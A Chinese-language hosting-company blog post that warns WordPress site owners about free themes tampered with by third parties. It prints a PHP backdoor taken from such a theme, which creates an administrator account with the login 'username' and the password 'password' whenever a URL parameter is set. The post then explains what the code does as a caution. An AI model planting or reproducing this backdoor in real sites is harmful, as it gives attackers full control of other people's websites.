使用wordpress建站的站長朋友們不在少數(shù)，無憂主機(jī)php虛擬主機(jī)就有很多wordpress的客戶。一般我們使用wordpress建站，都是先安裝一個(gè)開源程序，然后到網(wǎng)上選擇一個(gè)我們喜歡或者適合的主題，進(jìn)行安裝。這些主題中，大部分都是免費(fèi)的主題。這就可能涉及到一個(gè)問題，那就是安全問題。由于免費(fèi)的主題大家都可以下載到，一些無良的商家專門收集這些主題，往主題里添加廣告、暗鏈，甚至惡意代碼，達(dá)到他們不可告人的秘密。最近無憂主機(jī)小編就遇到了這樣一個(gè)被人修改過的主題，添加的代碼如下：

add_action('wp_head', 'holeinthewall'); 
function holeinthewall() { 
If ($_GET['backdoor'] == 'go') { 
require('wp-includes/registration.php'); 
If (!username_exists('username')) { 
$user_id = wp_create_user('username', 'password'); 
$user = new WP_User($user_id); 
$user->set_role('administrator'); 
} 
} 
}

以上主題小編請公司的程序員大神解釋了一下，他給出的解釋是：這竟然是一個(gè)自動(dòng)添加管理員的代碼！如果把上面的代碼添加到functions.php文件中，會(huì)自動(dòng)創(chuàng)建一個(gè)管理員，名為username，密碼為password的管理賬號！這樣太恐怖了，如果真的創(chuàng)建成功，就可以任意修改網(wǎng)站內(nèi)容了。 所以無憂主機(jī)小編在這里給大家提個(gè)醒：最好不要使用免費(fèi)或者盜版的主題，以免給自己的網(wǎng)站帶來意想不到的麻煩。 無憂主機(jī)相關(guān)文章推薦閱讀： WORDPRESS利用插件讓后臺(tái)變?yōu)橹形?/a> WORDPRESS讓用戶隨心所欲的調(diào)整網(wǎng)頁字體大小 WORDPRESS網(wǎng)站遷移中文名稱的圖片不顯示原因分析

本文地址：http://www.gle-technology.com/wordpress/19692.html

上一篇: 使用什么模塊能檢測Drupal的安全配置
下一篇: WordPress自動(dòng)保存功能的利弊及取消方法